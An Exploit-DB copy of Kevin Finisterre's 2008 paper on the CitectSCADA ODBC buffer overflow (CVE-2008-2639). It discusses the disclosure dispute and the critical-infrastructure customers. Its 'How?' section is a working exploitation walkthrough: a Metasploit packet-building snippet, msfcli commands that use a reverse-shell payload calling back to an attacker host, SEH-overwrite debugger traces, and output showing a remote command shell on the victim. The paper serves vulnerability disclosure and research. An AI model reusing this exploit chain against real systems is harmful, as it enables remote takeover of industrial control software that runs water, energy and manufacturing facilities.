- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 13028
- Проверка EDB
-
- Пройдено
- Автор
- KEVIN FINISTERRE
- Тип уязвимости
- PAPERS
- Платформа
- MULTIPLE
- CVE
- cve-2008-2639
- Дата публикации
- 2008-09-05
Код:
The Five Ws of Citect ODBC Vulnerability CVE-2008-2639
by Kevin Finisterre (kf_lists[at]digitalmunition[dot]com)
September 6th 2008
Who?
Citect:
Citect has a long history as a global leader in the development and application of SCADA, HMI and MES solutions. The ability to develop powerful and
reliable 'industrial strength' software, capable of withstanding the rigors of large-scale operations, has been one of the companies strengths. Established
in 1973, Citect has grown to become a leading, global provider of industrial automation, real-time intelligence, and next generation manufacturing execution
systems (MES). Citect products are complemented by professional services and customer support and training and sold in numerous industries including:
Aerospace & Defense
Automotive
Building Automation
Cement & Glass
Chemical
Electronics
Food & Beverage
Machinery & Manufacturing
Metals
Mining & Minerals
Oil & Gas
Pharmaceutical
Power / Utilities & Generation
Pulp & Paper
Transportation
Water & Wastewater
Headquartered in Sydney Australia, Citect has over 20 offices and representation in Oceania, Southeast Asia, China, Japan, North and South America, Europe,
Africa and the Middle East. Citect products are distributed in more than 80 countries worldwide, through a network of more than 500 partners.
Core:
Core Security Technologies is the leader in comprehensive security testing software solutions that IT executives rely on to expose vulnerabilities,
measure operational risk, and assure security effectiveness. The companyâ CORE IMPACT product family offers a comprehensive approach to assessing the
security of network systems, endpoint systems, email users and web applications against complex threats. All CORE IMPACT security testing solutions are
backed by trusted vulnerability research and leading-edge threat expertise from the companyâ Security Consulting Services, CoreLabs and Engineering groups.
Core Security Technologies is Based in Boston, MA and Buenos Aires, Argentina
Kevin Finisterre from the Netragard sponsored DigitalMunition:
Kevin is the former Head Of Research and Co-founder of SNOSoft, Inc. aka Secure Network Operations. Kevin's primary focus has been on the
dissemination of information relating to the identification and exploitation of software vulnerabilities on various platforms. Apple, IBM, SAP, Oracle,
Symantec, and HP are among many vendors that have had problems that were identified by Kevin. Kevin is currently very active in the SCADA security scene.
He enjoys testing the limits and is constantly dedicated to thinking outside the box. His current brainchild is the project he calls DigitalMunition.com
What?
On January 30th 2008 an initial contact mail was sent by Core to Citect's support team in an effort to discuss and disclose a security vulnerability
that affected the Citect product line. Approximately 5 months later on June 11th the security advisory CORE-2008-0125 is published. This advisory outlines
an issue in the Citect ODBC service that was described as follows: "A vulnerability was found in CitectSCADA that could allow a remote un-authenticated
attacker to force an abnormal termination of the vulnerable software (Denial of Service) or to execute arbitrary code on vulnerable systems to gain complete
control of the software. To accomplish such goal the would-be attacker must be able to connect to the vulnerable service on a TCP high-port."
Core provided the following additional data. "The CitectSCADA and CitectFacilities applications include ODBC server capabilities to provide remote SQL access
to a relational database. The ODBC Server component listens on port 20222/tcp by default to service requests from clients on TCP/IP networks. The application
layer protocol used over TCP reads an initial packet of 4 bytes that specifies the length of data that follows in the next packet. A second packet of that
length with a 5-byte fixed header is then read from the same TCP socket. Once this second packet is read from the network into a buffer, the data it is then
copied to an internal buffer of fixed size allocated in the stack."
Citect made two statements publically about the bug first in the Core advisory: "CitectSCADA is not designed to be accessible on public networks and recommends
that the SCADA and control networks be protected by firewall or similar on live sites. The system must be network hardened regardless of the corrupt packet
software change to ensure a secure system given the likelihood that on the same network are open industry standard protocol devices perhaps communicating via
ethernet. Please follow this link on Citect website under 'Industries and Solutions' for security, that provides some information for customers interested in
securing their SCADA systems: http://www.citect.com/index.php?option=com_content&task=view&id=186&Itemid=322"
The second public comment was on their own website: "Citect has moved to reassure its SCADA customers they are extremely unlikely to be at risk from potential
security breaches found by Core Security Technologies in Windows-based control systems utilizing ODBC technology, so long as their systems are protected by
industry-standard security guidelines. Citect and other SCADA and Control vendors have been communicating potential vulnerabilities of control systems when
they are connected to the internet for some time. However, Citect believes this is only relevant to a company using ODBC technology and directly connecting its
system to the internet with no security in place â a situation unlikely in today's business environment. Citect's Global CEO, Christopher Crowe, says, 'The
security of our customers control systems is of paramount importance to us. Though we have not had any reports of breaches, we are contacting our customers
globally to confirm they have followed recommended network security measures. We have also developed a patch for those companies that might not be able to
implement necessary network security measures promptly."
The two sources of information available to the public are seemingly conflicting... Core on one hand has implied that this vulnerability is quite critical in
nature. Citect on the other hand is almost downplaying the issue all together. Actual users of the product must be confused to say the least. "Should I take
action? Should I be prompt about it? Is there even a reason to take action?". These questions MUST be running through the users of Citect, given the industries
Citect serves I should rephrase and perhaps say I hope these thoughts are in the minds of the users. In reality I would be willing to wager a small fortune that
most of the folks that received the Citect advisory were not inspired to take immediate action. In general no one should be more knowledgeable about a software
product than the vendor, so if the vendor pulls an Alfred E. Newman and says "What, me worry?" you can rest assured the userbase will do the same.
This paradoxical situation is exactly why you are reading this paper, I decided to clear the air and do a little research on my own. As a semi neutral 3rd party
not relying upon any of the previously made statements I could deduce my own conclusions. Those conclusions are contained within...
So what exactly is the big deal? Why is Citect software any different from any other software package with security issues? Primarily because of the
industry they serve. Citect software helps run quite a bit of critical infrastructure, power plants, factories, automation lines, and other high profile
industrial related processes.
Where?
On the Citect web page there are case studies for the following industries, Building & Facilities, Cement & Glass, Food & Beverage, Machinery & Manufacturing,
Mining & Minerals, Oil & Gas, Pharmaceutical, Waste & Wastewater. Installations range from a simple standalone Carwash heating control to an elaborate gas pipe line
system with 180 Display nodes monitoring 68,000 some odd 'tags' and 'points'. Below is a list of Citect case studies with a brief description to help familiarize you
with the wide range of industries that make use of Citect software. These names were pulled from the Citect case studies documentation that is readily available from
the Citect website:
Nelson Mandela Municipality
Large metropolitan municipality uses CitectSCADA to monitor and control sewage facilities
Brunswick County, North Carolina
A rapidly growing county ensures smooth growth using CitectSCADA
City of Shreveport, Louisiana
Louisiana city continues its tradition of leading-edge water treatment facilities by standardising on CitectSCADA
EPAL - Lisbon Water Supply
CitectSCADA's reliability significantly reduces EPAL's life-cycle costs
AstraZeneca
Batch solution facilitates compliance with FDA regulations at AstraZeneca's Plankstadt site.
Chilean Natural Gas Pipeline
Electrogas and Metrogas both choose CitectSCADA for reliable monitoring and control of their pipelines.
Slovnaft Refinery
CitectSCADA provides scalable, reliable solution to drastically reduce operationg costs at major Central European Refinery and Petrochemical company.
Debswana Diamond Mines
Citect's reliable, scalable software solutions lower life-cycle costs, increase throughput and deliver real-time information to Debswana Diamond Mines
Hanson Aggregate
Hanson digs CitectSCADA at its Wykeham Quarry
Argyle Diamond Mine
Argyle Diamond Mines produces around 32% of the world's diamond output from its fully automated, open cut Argyle mine in Western Australia's Kimberley region.
Anglo Coal
CitectSCADA delivers lower operations and maintenance costs, increased mobility of personnel and access to real-time information to Moranbah
Downtime at Olympic Dam (WMC)- Ampla - Winner of Microsoft Partner Awards
Fast ROI as Ampla Downtime enables 20% increase in capacity in rail haulage system. This project won the 2005 Microsoft Australia & NZ Partner Awards for 'Business
Productivity Solution of the Year' and 'Overall Solution of the Year'.
Impala
Ampla has allowed Implats to analyze and optimize key areas for improvement leading to: increased throughput and overall equipment efficiency; consistent quality
and reduced loss to waste streams. Information is streamlined from the plant floor to management providing a comprehensive performance management tool which has
contributed towards realizing its increased production goals
Olympic Dam Expansion
The world's largest windows-based SCADA system. The Olympic Dam site, owned by WMC Limited (Western Mining Corporation), an Australian producer and exporter of
processed minerals and metals, includes 440,000 variable tags with an average response time of 0.014 seconds. AB and Simatic PLCs interfaced to PMACS, PDL and SQL
Servers.
QAL
QAL is the 3rd largest alumina refinery in the world. Using Ampla to support the Six Sigma operational improvement methodology, significant improvements have been
made to the Raw Materials handling area - an operation with a throughput of more than 11 million metric tons per year!
Amcor Beverage Cans
Access to real-time information allows Amcor to optimize production
Ahold Coffee Company
Ahold Coffee Company implemented Ampla to improve overall equipment effectiveness (OEE) on all production lines, and as a result have seen significant results in OEE.
With a goal to decrease the amount of and duration of line stoppages without making operational or equipment changes, ACC decided an MES system was the best solution.
They also needed a solution that would easily integrate with its ERP system.
Arnott's Biscuits
Online batching system streamlines process operations at Australia's largest biscuit manufacturer - click on the image below for the full story.
Adelaide Brighton Cement
50% reduction in plant stoppages and a decrease in cost per tonne of production
Einstein III
CitectFacilities combined with BACnet and EIB provide energy and maintenance cost savings, and optimize building automation efficiency at the Einstein III office
building in Haidhausen, Munich.
London Borough
CitectFacilities has revolutionized the way a London council maintains its buildings, often alerting the council to faults before residents report the problem.
Nuremberg Exhibition Center
With CitectFacilities the Nuremberg Exhibition Center has integrated and optimized facilities systems from multiple vendors, protected existing facilities investments
and reduced building automation costs.
Roppongi Hills Mori Tower
Japan's largest redevelopment project improves tenant service, reduces operation costs and optimizes energy utilization as a result of using CitectFacilities. This is
the world's largest OPC project and includes over 300 OPC servers, 500,000 tags, and 750 graphics pages, with response times of less than 1second.
In addition to the legit customer base sites like the "ali-almukhtar" blogspot location make Citect software readily available to a number of other individuals around
the world. The illegitimate software base of Citect customers is something that perhaps can not be measured. I think the title of the "ali-almukhtar" blogspot site
speaks volumes with regard to the seemingly blatant trafficking of industrial automation related software. "Free Electrical Engineering Ebooks And Softwares - Ramadan
Kareem" trumpets out amongst various arabic Naskh style writings.
When?
This issue is happening NOW... the media has slowed down on its initial wave of both a mix of good reporting, paranoia, FUD, misquoting, misrepresentations and
has all but forgotten about the issues it raised several months ago, but this is an active problem STILL. Citect related news has shifted to things like:
"Citect receives the Asia Pacific HMI and SCADA Company of the Year"
"Schneider-Citect named as HMI leaders"
"Citect Africa 2008 user conference"
"Four megatrends in SchneiderÕs automation strategy"
"Schneider to supply worldÕs largest water recycling project"
"Schneider Electric's Initi@tive 2008 - 'Make the most of your energy'"
Lets not be so quick to forget these headlines however:
"Citect Doesn't Get 'IT' When It Comes To Application Security"
"Citect Reassures Its Customers on the Security of Their SCADA Networks"
"Top Layer TopResponse Research Team Delivers Protection against Critical CitectSCADA Buffer Overflow Vulnerability"
"Security Vulnerability Exposes Utilities to Internet Attack"
"Core Security Technologies Discovers Critical Vulnerability in SCADA Software from Citect"
"SCADA security bug exposes world's critical infrastructure"
This issue is both micro and macrocosmic with regard to SCADA security issues in general. Although people are dealing with patching this issue right now as I type, in
reality the vulnerability has existed and could have been silently exploited for over 6 years. I can confirm that Citect v5.41 was released in 2002, unfortunately I do not
have any other dates tied to earlier Citect versions. This bug could have impacted the Citect product line from day one of ODBC implementation. I am unable to trace back
to the exact implementation date due to a lack of information about older Citect versions. I have a strong suspicion that version v4 and perhaps even v3 Citect products
were also vulnerable in their day. We could be talking about a bug that has lasted the span of a decade or more, but who really knows?
So what is the real impact of the disclosure? Unfortunately we may never be able to calculate that value... we have no way of knowing for example if Russian or Chinese
military have previously weaponized exploits for this particular issue. If they theoretically DID have them, how long have they had them? How about other hackers? Perhaps
one of the fellows on in cracking community noticed the overflows when he was making a patch to allow Citect to run illegally? Who knows? We would certainly be foolish to
think that simply because Core has disclosed this issue suddenly armies of hackers are empowered to exploit this particular vulnerability. The empowerment has been there
from the initial day the bug was introduced into the codebase. Bugs are both found and exploited in silence by both malicious hackers and nation states, deny it all you
choose, however the behavior will continue to occur.
Regardless of these questions the Macrocosm is now. Regardless of the questions the Microcosm is also now. Realistically since more bugs will be found in SCADA related
software packages the future years will really shape how these 'cosms pan out.
Why?
Poor programming choices are ultimately the cause of this particular issue and subsequently many other issues as well. Poor QA is what allows these sort of issues
to slip into mainstream public products. Oddly enough I have some reservations about the development team from Citect primarily due to a white paper that I found from
their QA department. I will share and comment on a few excerpts from this document:
"Citect Group Quality Assurance Management System is based on ISO9001 and is thorough and comprehensive, assuring our customers of the highest standard in the preparation,
support and maintenance of Citect software.
The Citect Group Quality Assurance
Management System consists of:
Â¥ Quality Management Plan
Â¥ Software Tools
Â¥ Standards
Â¥ Work Practices and Checklists Configuration Management"
Up front this sounds like a pretty solid process. Of course there is more...
"Automated testing is conducted by using Microsoft Visual Test, which automates repetitive tasks, monitors system resources and provides synchronisation of tests across
networks."
Ok I am impressed now, seriously.
"Development is managed by work practices that determine phases and check points in the development process. These development phases are tracked in a master document
under the control of the project manager."
Hrmm... interesting, does security ever come into play as a phase or check point?
"C/C++ Coding standards are used to ensure that all code is documented and is uniform in format, style and error handling. Code review work practices ensure that no code
passes a checkpoint without review. The purpose of the code reviews is to remove errors and dangerous coding practices and also assist in educating developers in improving
coding techniques."
Ok this is where you lost me. How in the heck did we get to the point where we are today with the CitectSCADA product line containing various security issues IF this process
is in place and actually occurring? Here in lies the problem, many vendors push a particular image similar to the Oracle "Unbreakable" campaign when in reality lifting up the
skirt reveals a mess that no one wants to talk about. This exact posturing is why we are seeing disturbingly simple vulnerabilities in software today. Vendors are investing
more time on Marketing and damage control than they are on actually securing their codebases.
How?
This paper is really about the One H rather than the Five Ws associated with the CitectSCADA vulnerability. In the end the only thing that matters is the raw technical
detail. You can draw your own conclusions and inferences if you are properly informed. Below you will find a detailed report of my findings from a months worth of CitectSCADA
research.
As Core described it this bug is indeed "This bug is a textbook example of a classic stack-based buffer overflow". Rather than exploiting it "by overwriting the return address
of the currently running thread" I chose to go about things in a fairly standard fashion. If you are familiar with general exploitation of products that run on Windows based
operating systems overwriting the Structured Exception Handler should be in your general vocabulary.
If you have made it this far and don't quite understand:
.text:0051BC33 loc_51BC33:
.text:0051BC33 lea ecx, [ebp+pDestBuffer]
.text:0051BC39 push ecx ; stack based buffer
.text:0051BC3A mov edx, [ebp+arg_0]
.text:0051BC3D push edx ; class that contains packet
.text:0051BC3E call sub_52125A ; memcpy
it may be perhaps time to close up your email client and move on to blogging about what just happened. If you are still with me SEH exploitation is a fairly vanilla process
and in this particular case things performed as expected. General exploitation of SEH is a bit beyond the scope of this paper however I will be further describing how it
applies to this particular vulnerability.
Core very accurately described the vulnerability in their advisory with the following text:
"The ODBC Server component listens on port 20222/tcp by default to service requests from clients on TCP/IP networks. The application layer protocol used over TCP reads an
initial packet of 4 bytes that specifies the length of data that follows in the next packet. A second packet of that length with a 5-byte fixed header is then read from
the same TCP socket."
Simply loading up a packet sniffer and making a TCP connection will give you the format of the packets that you need to send. We can easily sum up the required packets in a
few lines of ruby, this is a snippet from the final metasploit module that was created for release.
# Open your eyes people... listen carefully to the rhetoric. There is no spoon.
wakeup = [0x0000000002].pack('Q')[0..4] + [mal.length].pack("N") + mal
len = [wakeup.length].pack("N")
sock.put(len)
sock.put(wakeup)
print_status("Sent malicious ODBC packet...")
Depending on the version of Citect the malicious string that triggers the issue is no more than 400 bytes of data. The crash itself can be triggered with fewer bytes but
in order to make it a properly malicious trigger something valuable needs to be overwritten. In most cases for Citect the SEH which is highly critical can be reached in
less than 400 bytes as I just mentioned. The current metasploit module has support for a number of versions on various platforms. I am going to walk through the SEH
exploitation on a Windows 2003 server machine as an example to help you understand how things operate.
$ msfcli exploit/windows/misc/citect_scada_odbc T
Id Name
-- ----
0 CiExceptionMailer.dll on XP Sp2 or SP3 5.42
1 CiExceptionMailer.dll on Server 2003 Sp2 6.0-r0
2 CiExceptionMailer.dll on XP Sp2 or SP3 6.0-r0
3 CiExceptionMailer.dll on XP Sp2 or SP3 6.10
4 CiExceptionMailer.dll on XP Sp2 or SP3 7.0-r0
5 CiExceptionMailer.dll on 2003 Server SP1 7.0-r0
6 CiExceptionMailer.dll on Win98 5.50-r0
7 CiExceptionMailer.dll on XP SP2 5.50-r0
8 CiExceptionMailer.dll on 2003 Server 5.50-r0
9 Test Crash
I have selected a target and payload and began a test run of the final module against a Windows 2003 Server machine running CitectSCADA 7.0.
$ msfcli exploit/windows/misc/citect_scada_odbc RHOST=10.211.55.8 PAYLOAD=windows/shell/reverse_ord_tcp LHOST=10.211.55.2 TARGET=5 E
[*] Started reverse handler
[*] Trying target CiExceptionMailer.dll on 2003 Server SP1 7.0-r0...
[*] Space: 376
[*] Using Windows 2003 Target
[*] Sent malicious ODBC packet...
...
The view from inside a debugger gives loads of insight as to how exploitable this issue actually is. After sending the inital packet an exception is triggered due
to a bad memory read:
EAX 0613EA7A
ECX 00000013
EDX 00000001
EBX 00000000
ESP 07CBFBF8
EBP 07CBFC00
ESI 0613EA2D
EDI 07CC0000
EIP 7814507A MSVCR80.7814507A
7814507A F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS>
ECX=00000013 (decimal 19.)
DS:[ESI]=[0613EA2D]=90909090
ES:[EDI]=[07CC0000]=???
In this case the initial exception is caused because we have overwritten some chunk of data that was used in some operation from Client.dll
07CBFBF8 061C1920
07CBFBFC 07CBFC38
07CBFC00 /07CBFC24
07CBFC04 |1010C14B RETURN to Client.1010C14B from <JMP.&MSVCR80.memcpy>
07CBFC08 |07CBFE64
07CBFC0C |0613E891
07CBFC10 |000001E9
07CBFC14 |E9010000
07CBFC18 |07CBFC2C
07CBFC1C |061C1920
07CBFC20 |7813ED0F RETURN to MSVCR80.fprintf
07CBFC24 ]07CBFC3C
07CBFC28 |1010C74A RETURN to Client.1010C74A from Client.1010C122
07CBFC2C |000001E9
07CBFC30 |07CBFE64
07CBFC34 |07CBFC38
07CBFC38 |000001E9
07CBFC3C \07CBFF8C
07CBFC40 10109E7D RETURN to Client.10109E7D from Client.1010C737
07CBFC44 061C1920
07CBFC48 07CBFE64
07CBFC4C 7813E447 MSVCR80.__p__iob
07CBFC50 7813ED0F RETURN to MSVCR80.fprintf
If we take a peek at the SEH at this point we would see that it is overwritten with an attacker supplied value.
SEH chain of thread 00000888
Address SE handler
07CBFFDC CiExcept.003D59D7
As is standard the attacker supplied address points to a "POP POP RET". The full view of the Stack at the time of the SEH overwrite
shown below. We can clearly see attacker controlled data both before and after the SEH value.
07CBFFD0 90909090
07CBFFD4 90909090
07CBFFD8 90909090
07CBFFDC 909006EB Pointer to next SEH record
07CBFFE0 003D59D7 SE handler
07CBFFE4 FFFE7BE9
07CBFFE8 909090FF
07CBFFEC 90909090
07CBFFF0 90909090
07CBFFF4 90909090
07CBFFF8 90909090
07CBFFFC 90909090
The "POP POP RET" is again as expected.
003D59D7 5F POP EDI
003D59D8 5E POP ESI
003D59D9 C3 RETN
Passing the exception on will activate our handler and we can then see the real magic behind this vulnerability. The "POP POP RET" will cause
the program to "land" on the following bytes of assembly which again are standard as part of SEH based exploitation. These bytes in essence
jump over the attacker supplied SEH value and into what is considered usable shellcode space.
089CFFDC EB 06 JMP SHORT 089CFFE4
089CFFDE 90 NOP
089CFFDF 90 NOP
As we mentioned the usable shellcode space varies from version to version but in all cases it is very small. We must make use of the space before
the SEH value if we ever hope to get reliable code execution. Technically we are already "executing code" at this point but not in the traditional
sense of a remote system compromise. This is more low level simply assembly toying. Using a 5 byte near jump sufficiently places us at the beginning
of our payload buffer.
089CFFE4 ^E9 7BFEFFFF JMP 089CFE64
089CFFE9 90 NOP
089CFFEA 90 NOP
089CFFEB 90 NOP
089CFFEC 90 NOP
089CFFED 90 NOP
089CFFEE 90 NOP
089CFFEF 90 NOP
089CFFF0 90 NOP
089CFFF1 90 NOP
089CFFF2 90 NOP
089CFFF3 90 NOP
089CFFF4 90 NOP
089CFFF5 90 NOP
089CFFF6 90 NOP
089CFFF7 90 NOP
089CFFF8 90 NOP
089CFFF9 90 NOP
089CFFFA 90 NOP
089CFFFB 90 NOP
089CFFFC 90 NOP
089CFFFD 90 NOP
089CFFFE 90 NOP
089CFFFF 90 NOP
In this case I have pasted a few bytes from the beginning of the Metasploit encoded payload.
089CFE64 F5 CMC
089CFE65 B6 4F MOV DH,4F
089CFE67 24 B1 AND AL,0B1
089CFE69 4A DEC EDX
089CFE6A B8 B2403D49 MOV EAX,493D40B2
089CFE6F 32FC XOR BH,AH
089CFE71 93 XCHG EAX,EBX
089CFE72 25 969F2C14 AND EAX,142C9F96
089CFE77 7E 7F JLE SHORT 089CFEF8
089CFE79 22FD AND BH,CH
089CFE7B BF 9847463C MOV EDI,3C464798
If we let this monstrosity run unfettered and unchained from the debugger we see the following result.
$ msfcli exploit/windows/misc/citect_scada_odbc RHOST=10.211.55.8 PAYLOAD=windows/shell/reverse_ord_tcp LHOST=10.211.55.2 TARGET=5 E
[*] Started reverse handler
[*] Trying target CiExceptionMailer.dll on 2003 Server SP1 7.0-r0...
[*] Space: 376
[*] Using Windows 2003 Target
[*] Sent malicious ODBC packet...
[*] Citect and other SCADA and Control vendors have been communicating potential vulnerabilities of control systems when they are connected to the internet for some time.
[*] However, Citect believes this is only relevant to a company using ODBC technology and directly connecting its system to the internet with no security in place -
[*] a situation unlikely in todayÕs business environment.
[*] Sending stage (474 bytes)
[*] Command shell session 1 opened (10.211.55.2:4444 -> 10.211.55.8:1030)
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\Program Files\Citect\CitectSCADA 7\Bin>
In essence an attacker is given access to a command prompt with the privileges of the currently running Citect process. This method and technique is similar across
all versions of Windows, individual techniques had to be modified slightly to fit each target platform but successful exploitation occurred on Windows 2003 Server,
Windows XP and Windows 98 SE. In theory anything that you can install Citect on can technically be exploited.
I have attached a fully functional proof of concept code to this report in an effort to help folks truly understand the impact of this vulnerability. I personally
can not afford Core Impact and I am sure many of the folks that use this software will never be exposed to Core Impact, as such I have decided to create a public
metasploit module for this issue. The hopes are that current Citect users or people that are responsible for auditing Citect users will now have a usable tool to help
aid in the education and subsequent mitigation of this vulnerability. More importantly I hope this can serve as an example for future communications about similar such
vulnerabilities.
In my personal expertise I feel as if the statement "Citect believes this is only relevant to a company using ODBC technology and directly connecting its system to the
internet with no security in place" is completely absurd. If I were a Citect customer I would actually feel both insulted and confused by the statement. Previous
penetration testing exercises have shown that A) products are very frequently used in ways that manufactures do not intend. B) That many networks maintain a Hard
shell with a Soft chewy inside. Many companies hide behind the concept of a firewall as if it were the end all be all security solution. Currently attacking and exploiting
client side vulnerabilities is at an all time high. The old school style of directly aiming and gunning for a server has gone by the wayside. Latching on to an end user
or client machine can often be just as valuable in the over all scheme of distributed metastasis.
You would be absolutely foolish to believe that the only method or vector of exploitation for this and or any other SCADA related vulnerability was "Teh Internets". Look
at the diagrams in the Citect case studies... read the documentation from vendors that actually implement these products. Wake up... open your eyes. Don't be a sheep.
If you outlaw SCADA exploits, only outlaws will have SCADA exploits. Spread information and inform both yourself and others.
-Kevin Finisterre 2008
# milw0rm.com [2008-09-05]
- Источник
- www.exploit-db.com